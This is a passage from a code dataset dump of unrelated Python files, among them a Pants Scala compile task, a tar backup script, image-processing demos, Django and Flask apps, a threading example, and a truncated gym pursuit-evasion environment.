len(compile_jobs))\n\n @dataclass(frozen=True)\n class RscZincMergedCompileContexts:\n rsc_cc: RscCompileContext\n zinc_cc: CompileContext\n\n def select_runtime_context(self, merged_compile_context):\n return merged_compile_context.zinc_cc\n\n def create_compile_context(self, target, target_workdir):\n # workdir layout:\n # rsc/\n # - outline/ -- semanticdbs for the current target as created by rsc\n # - m.jar -- reified scala signature jar\n # zinc/\n # - classes/ -- class files\n # - z.analysis -- zinc analysis for the target\n # - z.jar -- final jar for the target\n # - zinc_args -- file containing the used zinc args\n sources = self._compute_sources_for_target(target)\n rsc_dir = os.path.join(target_workdir, \"rsc\")\n zinc_dir = os.path.join(target_workdir, \"zinc\")\n return self.RscZincMergedCompileContexts(\n rsc_cc=RscCompileContext(\n target=target,\n analysis_file=None,\n classes_dir=None,\n jar_file=None,\n args_file=os.path.join(rsc_dir, 'rsc_args'),\n rsc_jar_file=ClasspathEntry(os.path.join(rsc_dir, 'm.jar')),\n log_dir=os.path.join(rsc_dir, 'logs'),\n post_compile_merge_dir=os.path.join(rsc_dir, 'post_compile_merge_dir'),\n sources=sources,\n workflow=self._classify_target_compile_workflow(target),\n ),\n zinc_cc=CompileContext(\n target=target,\n analysis_file=os.path.join(zinc_dir, 'z.analysis'),\n classes_dir=ClasspathEntry(os.path.join(zinc_dir, 'classes'), None),\n jar_file=ClasspathEntry(os.path.join(zinc_dir, 'z.jar'), None),\n log_dir=os.path.join(zinc_dir, 'logs'),\n args_file=os.path.join(zinc_dir, 'zinc_args'),\n post_compile_merge_dir=os.path.join(zinc_dir, 'post_compile_merge_dir'),\n sources=sources,\n ))\n\n def _runtool_hermetic(self, main, tool_name, distribution, input_digest, ctx):\n tool_classpath_abs = self._rsc_classpath\n tool_classpath = fast_relpath_collection(tool_classpath_abs)\n\n jvm_options = self._jvm_options\n\n if self._rsc.use_native_image:\n #jvm_options = []\n if jvm_options:\n raise ValueError(\n \"`{}` got non-empty jvm_options when running with a graal native-image, but this is \"\n \"unsupported. jvm_options received: {}\".format(self.options_scope, safe_shlex_join(jvm_options))\n )\n native_image_path, native_image_snapshot = self._rsc.native_image(self.context)\n additional_snapshots = [native_image_snapshot]\n initial_args = [native_image_path]\n else:\n additional_snapshots = []\n initial_args = [\n distribution.java,\n ] + self.get_options().jvm_options + [\n '-cp', os.pathsep.join(tool_classpath),\n main,\n ]\n\n argfile_snapshot, = self.context._scheduler.capture_snapshots([\n PathGlobsAndRoot(\n PathGlobs([fast_relpath(ctx.args_file, get_buildroot())]),\n get_buildroot(),\n ),\n ])\n\n cmd = initial_args + ['@{}'.format(argfile_snapshot.files[0])]\n\n pathglobs = list(tool_classpath)\n\n if pathglobs:\n root = PathGlobsAndRoot(\n PathGlobs(tuple(pathglobs)),\n get_buildroot())\n # dont capture snapshot, if pathglobs is empty\n path_globs_input_digest = self.context._scheduler.capture_snapshots((root,))[0].directory_digest\n\n epr_input_files = self.context._scheduler.merge_directories(\n ((path_globs_input_digest,) if path_globs_input_digest else ())\n + ((input_digest,) if input_digest else ())\n + tuple(s.directory_digest for s in additional_snapshots)\n + (argfile_snapshot.directory_digest,))\n\n epr = ExecuteProcessRequest(\n argv=tuple(cmd),\n input_files=epr_input_files,\n output_files=(fast_relpath(ctx.rsc_jar_file.path, get_buildroot()),),\n output_directories=tuple(),\n timeout_seconds=15*60,\n description='run {} for {}'.format(tool_name, ctx.target),\n # TODO: These should always be unicodes\n # Since this is always hermetic, we need to use `underlying.home` because\n # ExecuteProcessRequest requires an existing, local jdk location.\n jdk_home=distribution.underlying_home,\n )\n res = self.context.execute_process_synchronously_without_raising(\n epr,\n self.name(),\n [WorkUnitLabel.COMPILER])\n\n if res.exit_code != 0:\n raise TaskError(res.stderr, exit_code=res.exit_code)\n\n # TODO: parse the output of -Xprint:timings for rsc and write it to self._record_target_stats()!\n\n res.output_directory_digest.dump(ctx.rsc_jar_file.path)\n\n ctx.rsc_jar_file = ClasspathEntry(ctx.rsc_jar_file.path, res.output_directory_digest)\n\n self.context._scheduler.materialize_directories((\n DirectoryToMaterialize(\n # NB the first element here is the root to materialize into, not the dir to snapshot\n get_buildroot(),\n res.output_directory_digest),\n ))\n\n return res\n\n # The classpath is parameterized so that we can have a single nailgun instance serving all of our\n # execution requests.\n def _runtool_nonhermetic(self, parent_workunit, classpath, main, tool_name, distribution, ctx):\n result = self.runjava(\n classpath=classpath,\n main=main,\n jvm_options=self.get_options().jvm_options,\n args=['@{}'.format(ctx.args_file)],\n workunit_name=tool_name,\n workunit_labels=[WorkUnitLabel.COMPILER],\n dist=distribution\n )\n if result != 0:\n raise TaskError('Running {} failed'.format(tool_name))\n runjava_workunit = None\n for c in parent_workunit.children:\n if c.name is tool_name:\n runjava_workunit = c\n break\n # TODO: figure out and document when would this happen.\n if runjava_workunit is None:\n raise Exception('couldnt find work unit for underlying execution')\n return runjava_workunit\n\n def _runtool(self, distribution, input_digest, ctx):\n main = 'rsc.cli.Main'\n tool_name = 'rsc'\n with self.context.new_workunit(tool_name) as wu:\n return self.execution_strategy_enum.resolve_for_enum_variant({\n self.HERMETIC: lambda: self._runtool_hermetic(\n main, tool_name, distribution, input_digest, ctx),\n self.SUBPROCESS: lambda: self._runtool_nonhermetic(\n wu, self._rsc_classpath, main, tool_name, distribution, ctx),\n self.NAILGUN: lambda: self._runtool_nonhermetic(\n wu, self._nailgunnable_combined_classpath, main, tool_name, distribution, ctx),\n })()\n\n _JDK_LIB_NAMES = ['rt.jar', 'dt.jar', 'jce.jar', 'tools.jar']\n\n @memoized_method\n def _jdk_libs_paths_and_digest(self, hermetic_dist):\n jdk_libs_rel, jdk_libs_globs = hermetic_dist.find_libs_path_globs(self._JDK_LIB_NAMES)\n jdk_libs_digest = self.context._scheduler.capture_snapshots(\n (jdk_libs_globs,))[0].directory_digest\n return (jdk_libs_rel, jdk_libs_digest)\n\n @memoized_method\n def _jdk_libs_abs(self, nonhermetic_dist):\n return nonhermetic_dist.find_libs(self._JDK_LIB_NAMES)\n","sub_path":"src/python/pants/backend/jvm/tasks/jvm_compile/rsc/rsc_compile.py","file_name":"rsc_compile.py","file_ext":"py","file_size_in_byte":29847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"476681903","text":"def primo():\n print(\"Serán primos??\")\n numero = int(input(\"Introduzca un número: \"))\n if numero <=1:\n print(\"Introduzca un número que sea mayor que 1 \")\n else:\n contador = 0\n for i in range(1, numero + 1):\n if numero % i == 0:\n contador = contador + 1\n if contador == 2:\n print(\"{numero} es primo \")\n else:\n print(\"{numero} no es primo \") \n primos = open('primos.txt', 'w')\n primos.write(str(numero))\nprint(primo())\n\n\n","sub_path":"ejercicio1.py","file_name":"ejercicio1.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"140136131","text":"import os\nimport time\n\n#1. The files and directories to be backed up are\n#specified in a list\n\nsource =['/home/yyb/work/git/python']\n\n\n#2.the backup must be stored in a main backup directory\ntarget_dir = '/home/yyb/work/git'\n\n#3. the files are backed up into a zip file\n#4. the name of the zip archive is the current date and time\ntarget = target_dir + os.sep + time.strftime('%Y%m%d%H%M%S') + '.bz2'\n\nprint(target)\n\n#create tart directory if it is not present\nif not os.path.exists(target_dir):\n\tos.mkdir(target_dir)\n\n#5.we use the zip command to put the files in a zip archive\ntar_command = 'tar jcvf {0} {1}'.format(target,' '.join(source))\n\n#run the backup\nprint('tar command is:')\nprint(tar_command)\nprint('Running:')\nif os.system(tar_command) == 0:\n\tprint('Successful backup to',target)\nelse:\n\tprint('Backup failed')\n","sub_path":"backup/backup_ver1.py","file_name":"backup_ver1.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"626884256","text":"from skimage import io as skio\nurl = 'data/resized/f-021-01.png'\nimg = skio.imread(url)\n\nprint(\"shape of image: {}\".format(img.shape))\nprint(\"dtype of image: {}\".format(img.dtype))\n\n#detecting edges\nfrom skimage import filters\nsobel = filters.sobel(img)\nimport matplotlib.pyplot as plt\n#%matplotlib inline\nplt.rcParams['image.interpolation'] = 'nearest'\nplt.rcParams['image.cmap'] = 'gray'\nplt.rcParams['figure.dpi'] = 200\nblurred = filters.gaussian(sobel, sigma=2.0)\n\n#obtaining seeds\nimport numpy as np\nlight_spots = np.array((img > 245).nonzero()).T\ndark_spots = np.array((img < 3).nonzero()).T\n\n#making a seed mask\nfrom scipy import ndimage as ndi\nbool_mask = np.zeros(img.shape, dtype=np.bool)\nbool_mask[tuple(light_spots.T)] = True\nbool_mask[tuple(dark_spots.T)] = True\nseed_mask, num_seeds = ndi.label(bool_mask)\nnum_seeds\n\n#applying watershed\nfrom skimage import morphology\nws = morphology.watershed(blurred, seed_mask)\n\nbackground = max(set(ws.ravel()), key=lambda g: np.sum(ws == g))\nbackground_mask = (ws == background)\ncleaned = img * ~background_mask\n\nfig.savefig('data/plot.png')\n\n\n","sub_path":"pix2pix-tensorflow/tools/removebackground.py","file_name":"removebackground.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"466760341","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/9/7 17:16\n# @Author : jhys\n# @FileName: Prewitt.py\n\n# -*- coding: utf-8 -*-\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 读取图像\nimg = cv2.imread('test.jpg')\nimg_RGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n# 灰度化处理图像\ngrayImage = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n# Prewitt算子\nkernelx = np.array([[1, 1, 1], [0, 0, 0], [-1, -1, -1]], dtype=int)\nkernely = np.array([[-1, 0, 1], [-1, 0, 1], [-1, 0, 1]], dtype=int)\nx = cv2.filter2D(grayImage, cv2.CV_16S, kernelx)\ny = cv2.filter2D(grayImage, cv2.CV_16S, kernely)\n# 转uint8\nabsX = cv2.convertScaleAbs(x)\nabsY = cv2.convertScaleAbs(y)\nPrewitt = cv2.addWeighted(absX, 0.5, absY, 0.5, 0)\n\n# 用来正常显示中文标签\nplt.rcParams['font.sans-serif'] = ['SimHei']\n\n# 显示图形\n# titles = [u'原始图像', u'Prewitt算子']\n# images = [img_RGB, Prewitt]\n# for i in range(2):\n# plt.subplot(1, 2, i + 1), plt.imshow(images[i], 'gray')\n# plt.title(titles[i])\n# plt.xticks([]), plt.yticks([])\n# plt.show()\n\n\n# 显示图形\nplt.subplot(121),plt.imshow(img_RGB),plt.title('原始图像'), plt.axis('off') #坐标轴关闭\nplt.subplot(122),plt.imshow(Prewitt, cmap=plt.cm.gray ),plt.title('Prewitt算子'), plt.axis('off')\nplt.show()","sub_path":"ch18-图像梯度/Prewitt.py","file_name":"Prewitt.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"142472652","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.views.generic import View, TemplateView\nfrom django.contrib.auth.decorators import login_required\nfrom django.test.client import RequestFactory\nfrom django.apps import apps\nimport numpy as np\nimport datetime\n\nfrom .forms import *\nfrom .models import *\n\n\n@login_required\ndef view_display_piece(request):\n\n piece = Piece.objects.filter(user_username=request.user.get_username())\n\n id_piece = request.GET.get('get_id')\n\n if id_piece:\n\n\t piece_to_delete = piece.filter(id_appareil=id_piece)\n\t for p in piece_to_delete:\n\t \tp.delete()\n\n context = {'piece': piece}\n\n return render(request, 'piece/display_piece.html', context)\n\nclass view_register_piece(TemplateView):\n\t# Form to get data\n template_name = 'piece/register_piece.html'\n\n def get(self, request):\n \tcontext = {}\n\n \tform = pieceForm()\n \t# context\n \tcontext['form'] = form\n \treturn render(request, self.template_name, context)\n\n def post(self, request):\n \tcontext = {}\n \tform = pieceForm(request.POST)\n\n \tif form.is_valid():\n\n \t\tname_piece = form.cleaned_data['name_piece']\n \t\tdescription = form.cleaned_data['description']\n\n \t\t# Get the id\n \t\tpiece = Piece.objects.filter(user_username=request.user.get_username())\n\n \t\ttry:\n \t\t\tid_piece = np.int(np.max([y.id_piece for y in piece]) + 1)\n \t\texcept Exception:\n \t\t\tid_piece = 1\n \t\tasset, created = Piece.objects.get_or_create(\n\t\t\t\t \tdate = datetime.datetime.today(),\n\t\t\t\t \tname_piece = name_piece,\n\t\t\t\t \tid_piece = id_piece,\n \t\t\t\t\t\t\tdescription = description,\n \t\t\t\t\t\t\tuser_username = request.user.get_username())\n \t# context\n \tcontext['form'] = form\n \treturn render(request, self.template_name, context)\n","sub_path":"apps/piece/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"81103353","text":"import numpy as np\nimport random\n\n# Square Lattice Size\nN = 10\n\n# Returns the set of neighbors \ndef neighbor_set(i, j, k, l):\n neighbor_set = [];\n # coordinate 1\n i_1 = (i + 1) % N\n # coordinate 2\n j_1 = (j + 1) % N\n # coordinate 3\n k_1 = (k + 1) % N\n # coordinate 4\n l_1 = (l + 1) % N\n\n p_1 = [i_1, j, k, l]\n p_2 = [i, j_1, k, l]\n p_3 = [i, j, k_1, l]\n p_4 = [i, j, k, l_1]\n\n return [p_1, p_2, p_3, p_4]\n\n# Given a label and a table of proper labels, search for correct label\ndef get_proper_label(lattice_proper_labels, label):\n label_val = label\n while(label_val != lattice_proper_labels[label_val]):\n label_val = lattice_proper_labels[label_val]\n return label_val\n\n# Check if all neighboring values are unlabeled\ndef all_unlabeled(a, b, c, d):\n if(a < 1 and b < 1 and c < 1 and d < 1):\n return True\n return False\n\n# Returns probabliity that during update a bond is present\ndef bond_prob(T):\n return 1 - np.exp(-2./T)\n\ndef generate_bond(bond_p):\n if(random.random() < bond_p):\n return 1\n return 0\n","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"93475287","text":"from flask import Flask, session, render_template, redirect, request, flash\nfrom flask_bcrypt import Bcrypt\n# import the function connectToMySQL from the file mysqlconnection.py\nfrom mysqlconnection import connectToMySQL\napp = Flask(__name__)\nbcrypt = Bcrypt(app)\napp.secret_key='Fg5g45wg5wgw5g45ytjuy5terytuftyt5'\n\n# connect with \"friends\" <-- DB\n\n# invoke the connectToMySQL function and pass it the name of the database we're using\n# connectToMySQL returns an instance of MySQLConnection, which we will store in the variable 'mysql'\nmysql = connectToMySQL('friends')\nprint('\\n','= = = server start server.py = = =')\n\n# now, we may invoke the query_db method\n# print('-=-=-=-=-=- show all friends from db -=-=-=-=-=-\\n', mysql.query_db(\"SELECT * FROM friends;\"))\n# print('-=-=-=- end of show all friends form db -=-=-=-\\n')\n\n@app.route('/')\ndef index():\n # all_friends = mysql.query_db(\"SELECT * FROM friends\")\n all_friends = mysql.query_db(\"SELECT first_name, last_name, occupation FROM friends\")\n print('\\n','-=-=-=-=-=- show all friends from db -=-=-=-=-=-\\n')\n print(\"Fetched all friends\", all_friends,'\\n')\n print('-=-=-=- end of show all friends form db -=-=-=-\\n')\n\n if 'fname' not in session:\n session['fname'] = ''\n if 'lname' not in session:\n session['lname'] = ''\n if 'occup' not in session:\n session['occup'] = ''\n\n return render_template('index.html', friends = all_friends)\n\n\n\n@app.route('/create_friend', methods=['POST'])\ndef create_friend():\n print('\\n= = = = GOT POST INFO = = = = ')\n print(request.form)\n print('= = = = END OF POST INFO = = = =')\n\n # validationError = False\n # # first name check\n # if len(session['first_name']) == 0:\n # flash('name cannot be empty!')\n # validationError = True\n # if len(session['first_name']) < 3:\n # flash('name must have AT LEAST 4 letters')\n # validationError = True\n # # last name check\n # if len(session['last_name']) == 0:\n # flash('Last Name cannot be empty!')\n # validationError = True\n # if len(session['last_name']) < 3:\n # flash('Last Name must have AT LEAST 4 letters')\n # validationError = True\n # # occupation check\n # if len(session['occupation']) ==0:\n # flash('Please fill in an occupation')\n # validationError = True\n # if len(session['occupation']) < 3:\n # flash('An occupation should have AT least 4 letters')\n # validationError = True\n\n # if validationError = True:\n # return redirect('/')\n # else:\n # return redirect('/')\n\n\n query = \"INSERT INTO friends (first_name, last_name, occupation, created_at, updated_at) VALUES (%(first_name)s, %(last_name)s, %(occupation)s, NOW(), NOW()); \"\n data = {'first_name': request.form['first_name'], 'last_name': request.form['last_name'], 'occupation': request.form['occupation']}\n mysql.query_db(query, data)\n # AFTER THIS MAKE SESSION TO DISPLAY TO USER !!!\n \n\n\n \n\n # session['fname'] = data.first_name\n session['fname'] = request.form['first_name']\n session['lname'] = request.form['last_name']\n session['occup'] = request.form['occupation']\n\n\n # session['fname'] = request.form['first_name']\n # session['lname'] = request.form['last_name']\n # session['occup'] = request.form['occupation']\n\n return redirect('/')\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"flask_MySQL/DEMO/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"38168065","text":"import time\nimport threading\nimport concurrent.futures\n\nstart = time.perf_counter()\n\ndef do_something(seconds):\n print(f'Sleeping 1 {seconds}...')\n time.sleep(seconds)\n return f'Done sleeping...{seconds}'\n\n# t1 = threading.Thread(target=do_something)\n# t2 = threading.Thread(target=do_something)\n# t3 = threading.Thread(target=do_something)\n# t4 = threading.Thread(target=do_something)\n\n\n# t1.start()\n# t2.start()\n# t3.start()\n# t4.start()\n# The join method forces the script to wait for the threads\n # to finish before continuing with the rest of the script.\n# t1.join()\n# t2.join()\n# t3.join()\n# t4.join()\n\n# using a loop\n\n#with a list-comprehension\n# with concurrent.futures.ThreadPoolExecutor() as executor:\n# secs = [5,4,3,2,1]\n# results = [executor.submit(do_something, sec) for sec in secs]\n# for f in concurrent.futures.as_completed(results):\n# print(f.result())\n\n#witih the map keyword\nwith concurrent.futures.ThreadPoolExecutor() as executor:\n secs = [2,4,6,8,10]\n results = executor.map(do_something, secs)\n\n#\n# threads = []\n# for _ in range(10):\n# th = threading.Thread(target=do_something, args=[1.5])\n# th.start()\n# threads.append(th)\n#\n# for thread in threads:\n# thread.join()\n#\n\n\n# here is the new way to of setting up threads.\n # its easier and more efficient its call a threadpool executer\nfinish = time.perf_counter()\nprint(f'Finished in {round(finish-start, 2)} seconds(s)')","sub_path":"threading_example.py","file_name":"threading_example.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"123944828","text":"import logging\n\nimport gym\nfrom gym import spaces\nfrom gym.envs.classic_control import rendering\nfrom robot_model import RobotModel\nfrom math import cos, sin, pi, atan2\nimport math, sympy\nfrom dwa import dwa_control, ConfigDWA, plot_arrow\nfrom apf import apf_control, ConfigAPF\nfrom proportional_navi import pn_control, ConfigPN\nimport numpy as np\nfrom gym.utils import seeding\nimport random\nimport matplotlib.pyplot as plt\n\nlogger = logging.getLogger(__name__)\n\nMAX_V = 2.0\nMIN_V = 0.0\nMAX_W = pi/3.0 * 2\n\nclass PursuitEnv1(gym.Env):\n metadata = {\n 'render.modes': ['human', 'rgb_array'],\n 'video.frames_per_second': 2\n }\n\n def __init__(self):\n self.max_v = MAX_V\n self.min_v = MIN_V\n self.max_w = MAX_W\n self.max_acc_v = 0.7\n self.max_acc_w = pi/3.0 * 5\n self.init_x = 0.0\n self.init_y = 6.0\n self.init_yaw = pi / 8.0\n self.robot_radius = 0.3\n self.ob_radius = 0.3\n self.target_radius = 0.3\n self.dt = 0.1\n\n self.target_init_x = 10\n self.target_init_y = 4\n self.target_init_yaw = pi/2.0\n self.target_u = None\n\n \n self.pursuitor_model = RobotModel(self.max_v, self.min_v, self.max_w, self.max_acc_v, self.max_acc_w,\n self.init_x, self.init_y, self.init_yaw)\n\n self.evader_model = RobotModel(self.max_v, self.min_v, self.max_w, self.max_acc_v, self.max_acc_w,\n self.target_init_x, self.target_init_y, self.target_init_yaw)\n\n self.config_dwa = ConfigDWA(self.max_v, self.min_v, self.max_w, self.max_acc_v, self.max_acc_w,\n robot_raduis=self.robot_radius, obstacle_radius=self.ob_radius, dt=self.dt)\n\n self.confg_apf = ConfigAPF(self.max_v, self.min_v, self.max_w, self.max_acc_v, self.max_acc_w, obstacle_radius=self.ob_radius)\n\n self.confg_pn = ConfigPN()\n \"\"\"env parameters need reset\n \n \"\"\"\n self.ob_list = None\n\n # self.ob_list = None\n\n\n self.last_obs = None\n self.last_pur_state = None\n self.last_tar_state = None\n # trajectory\n self.traj = np.array(self.get_state())\n\n\n # state done\n self.collision = False\n self.catch = False\n\n # actions\n\n # self.v_reso = 0.1\n # self.w_reso = pi/18.0\n #\n #\n # self.action_table = []\n # for v in np.arange(self.min_v, self.max_v+self.v_reso, self.v_reso):\n # for w in np.arange(-self.max_w, self.max_w+self.w_reso, self.w_reso):\n # self.action_table.append(np.array([v, w]))\n\n # self.action_num = len(self.action_table)\n self.action_num = 2\n self.action_space = spaces.Discrete(self.action_num)\n\n # observations = laser, goal_angle, goal_distance\n self.percept_region = np.array([-4,4,-2,6]) # left, right, behind, ahead\n self.basic_sample_reso = 0.1 # sampling resolution of percept region\n self.sample_reso_scale = 1.5 # sampling density increases with distance from\n\n def cal_samples(sample_length, basic_sample_reso, sample_reso_scale):\n # get sample number\n # x = sympy.Symbol('x')\n # result_dict = sympy.solve(\n # [basic_sample_reso * (1 - sample_reso_scale ** x) / (1 - sample_reso_scale)\n # - abs(sample_length)], [x])\n # print(result_dict)\n a=math.log(sample_length/basic_sample_reso*(sample_reso_scale-1)+1)\n b=math.log(sample_reso_scale)\n # print(str(a)+\", \"+str(b))\n x=a/b\n return int(x)\n\n\n left_samples = right_samples = cal_samples(abs(self.percept_region[0]), self.basic_sample_reso, self.sample_reso_scale)\n behind_samples = cal_samples(abs(self.percept_region[2]), self.basic_sample_reso, self.sample_reso_scale)\n ahead_samples = cal_samples(abs(self.percept_region[3]), self.basic_sample_reso, self.sample_reso_scale)\n\n self.sample_map_center = np.array([left_samples-1, behind_samples-1])\n self.sample_map_width = left_samples+right_samples-1\n self.sample_map_height = behind_samples+ahead_samples-1\n self.percept_sample_map = []\n\n for i in range(self.sample_map_width):\n tmp_list_y = []\n for j in range(self.sample_map_height):\n x = self.basic_sample_reso * (1 - self.sample_reso_scale ** abs(i-self.sample_map_center[0]))\\\n / (1 - self.sample_reso_scale)\n x = x if i-self.sample_map_center[0]>=0 else -x\n y = self.basic_sample_reso * (1 - self.sample_reso_scale ** abs(j-self.sample_map_center[1]))\\\n / (1 - self.sample_reso_scale)\n y = y if j-self.sample_map_center[1]>=0 else -y\n tmp_list_y.append(np.array([x,y]))\n self.percept_sample_map.append(tmp_list_y)\n\n # self.obs_num = self.pursuitor_model.laser_num + 2\n # high = np.hstack((np.zeros(self.pursuitor_model.laser_num)+self.pursuitor_model.laser_max_range, pi, 50))\n # low = np.hstack((np.zeros(self.pursuitor_model.laser_num), -pi, 0))\n # self.observation_space = spaces.Box(low, high, dtype=np.float)\n\n self.obs_num = self.sample_map_height*self.sample_map_width + 2\n self.observation_space = spaces.Box(-np.inf, np.inf, shape=(self.obs_num,), dtype=float)\n # seed\n self.np_random = None\n self.seed()\n\n # time limit\n self.limit_step = 100\n self.count = 0\n\n self.action_plot = 0\n\n # record\n self.pursuit_strategy = None\n self.traj_pursuitor = None\n self.traj_evader = None\n\n # intelligent evasion mode\n self.evasion_mode = True\n self.config_evasion = ConfigDWA(self.max_v*0.9, self.min_v, self.max_w, self.max_acc_v, self.max_acc_w,\n robot_raduis=self.robot_radius, obstacle_radius=self.ob_radius, dt=self.dt)\n self.evasion_route = None\n self.evasion_route_index = None\n\n \n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def step(self, action):\n # assert self.action_space.contains(action), \"%r (%s) invalid\" % (action, type(action))\n observation, reward, done, info = None, None, None, None\n for _ in range(random.randint(3,3)):\n observation, reward, done, info=self.mini_step(action)\n if done:\n self.record_count = self.count\n prefix = \"scenario3/\"\n # np.save(prefix+\"p_strategy.npy\", np.array(self.pursuit_strategy))\n # np.save(prefix+\"p_hybrid.npy\", np.array(self.traj_pursuitor))\n # np.save(prefix+\"e_hybrid.npy\", np.array(self.traj_evader))\n #\n # np.save(prefix+\"p_dwa.npy\", np.array(self.traj_pursuitor))\n # np.save(prefix+\"e_dwa.npy\", np.array(self.traj_evader))\n #\n # np.save(prefix+\"p_apf.npy\", np.array(self.traj_pursuitor))\n # np.save(prefix+\"e_apf.npy\", np.array(self.traj_evader))\n break\n self.count += 1\n return observation, reward, done, info\n\n\n def mini_step(self,action):\n self.action_plot =action\n self._set_action(action)\n\n observation = self._get_obs()\n done = self._is_done(observation)\n if self.count>=self.limit_step:\n done = True\n reward = self._compute_reward(observation)\n self.last_obs = observation\n\n return observation, reward, done, {}\n\n def reset(self):\n self.init_terrain(1)\n self.init_env_from_list(random.randint(0, 3))\n if self.evasion_mode:\n self.init_evader_route(random.randint(0, 2))\n else:\n self.init_evader_circle(random.randint(0, 2))\n # self.init_env_from_list(3, 1)\n self.pursuitor_model.set_init_state(self.init_x, self.init_y, self.init_yaw)\n\n self.evader_model.set_init_state(self.target_init_x, self.target_init_y, self.target_init_yaw)\n\n self.count = 0\n\n # trajectory\n self.traj = np.array(self.get_state())\n\n obs = self._get_obs()\n self.last_obs = obs\n self.last_pur_state = self.get_state()\n self.last_tar_state = self.get_goal()\n\n # record\n self.pursuit_strategy = []\n self.traj_pursuitor=[]\n self.traj_pursuitor.append(self.get_state())\n self.traj_evader=[]\n self.traj_evader.append(self.get_goal())\n\n # intelligent evasion\n self.keyboard_u = [0.0, 0.0]\n return obs\n\n def close(self):\n pass\n\n def render(self, mode='human'):\n plt.cla()\n x = self.get_state()\n goal = self.get_goal()\n ob = self.ob_list\n plt.text(0, 4, str(self.action_plot), fontsize=10)\n plt.plot(x[0], x[1], \"xr\")\n plt.plot(goal[0], goal[1], \"xb\")\n if ob is not None:\n plt.plot(ob[:, 0], ob[:, 1], \"ok\")\n plot_arrow(x[0], x[1], x[2])\n\n # # plot laser\n # T_robot = self.get_TF()\n # points = self.scan_to_points(self.last_obs[:self.pursuitor_model.laser_num], self.pursuitor_model.laser_min_angle,\n # self.pursuitor_model.laser_increment_angle, T_robot)\n # if len(points)>0:\n # plt.plot(points[:,0], points[:,1], \".m\")\n plt.axis(\"equal\")\n plt.grid(True)\n plt.pause(0.0001)\n # print(self.last_obs)\n return np.array([[[1,1,1]]\n ], dtype=np.uint8)\n\n\n def scan_to_points(self, laser_ranges, min_angle, increment_angle, T_robot):\n laser_points = []\n for laser_index in range(len(laser_ranges)):\n laser_range = laser_ranges[laser_index]\n laser_angle = increment_angle * laser_index + min_angle\n # only plot reflected\n if laser_range<self.pursuitor_model.laser_max_range-2:\n laser_points.append([laser_range*cos(laser_angle), laser_range*sin(laser_angle)])\n laser_points = np.array(laser_points)\n for i, laser_point in enumerate(laser_points):\n laser_point_tmp = np.matmul(T_robot, np.hstack((laser_point, 1)))\n laser_points[i] = laser_point_tmp[:2]\n return laser_points\n\n def _get_obs(self):\n \"\"\"Returns the observation.\n \"\"\"\n # laser_ranges = self.pursuitor_model.get_laser_scan(self.ob_list, self.ob_radius)\n percept_map = self.sample_map()\n percept_map = np.reshape(percept_map, (1,-1))[0].tolist()\n\n goal = self.get_goal()\n state = self.get_state()\n goal_angle = atan2(goal[1]-state[1], goal[0]-state[0]) - state[2]\n goal_angle = self.normlize_angle(goal_angle)\n goal_distance = np.linalg.norm(goal[:2]-state[:2])\n return np.array(percept_map + [goal_angle, goal_distance])\n\n def sample_map(self):\n \"\"\"\n “exteroceptive information”, sample the percept region.\n :return: sampling points of percept region, with value representing occupancy (0 is non-free, 255 is free)\n \"\"\"\n if self.ob_list is None:\n return np.ones([self.sample_map_width, self.sample_map_height])\n # represent obstacle in robot coordinate system\n T_robot = self.get_TF()\n ob_r_list = [np.matmul(T_robot.T, np.hstack((np.array(ob), 1)))[:2] for ob in self.ob_list]\n\n # filter obstacle out of percept region\n def filter_ob(obstacle_radius, ob_list, percept_region):\n percept_region_expanded = percept_region+np.array([-obstacle_radius,obstacle_radius,-obstacle_radius,obstacle_radius])\n\n def is_in_percept_region(ob):\n check_ob_center_in = percept_region_expanded[0]<=ob[0]<=percept_region_expanded[1] and \\\n percept_region_expanded[2]<=ob[1]<=percept_region_expanded[3]\n\n return check_ob_center_in\n\n filtered_ob_list = list(filter(is_in_percept_region, ob_list))\n return filtered_ob_list\n\n filtered_ob_list = filter_ob(self.ob_radius, ob_r_list, self.percept_region)\n\n sampled_map = np.zeros([self.sample_map_width, self.sample_map_height])\n for i in range(self.sample_map_width):\n for j in range(self.sample_map_height):\n sample_point = self.percept_sample_map[i][j]\n dis2ob = np.linalg.norm(np.array(filtered_ob_list)-sample_point, axis=1, keepdims=True)\n if np.any(dis2ob<=self.ob_radius):\n sampled_map[i, j] = 0\n else:\n sampled_map[i, j] = 1\n return sampled_map\n\n\n\n def _set_action(self, action):\n \"\"\"Applies the given action to the simulation.\n \"\"\"\n u = [0,0]\n\n if action == 0:\n u, ltraj = dwa_control(self.get_state(), np.array(self.pursuitor_model.state[3:5]), self.config_dwa,\n self.get_goal()[:2], self.ob_list)\n\n elif action == 1:\n\n w = pn_control(self.confg_pn, self.get_state(), self.get_goal(), self.last_pur_state, self.last_tar_state)\n u = [self.max_v, 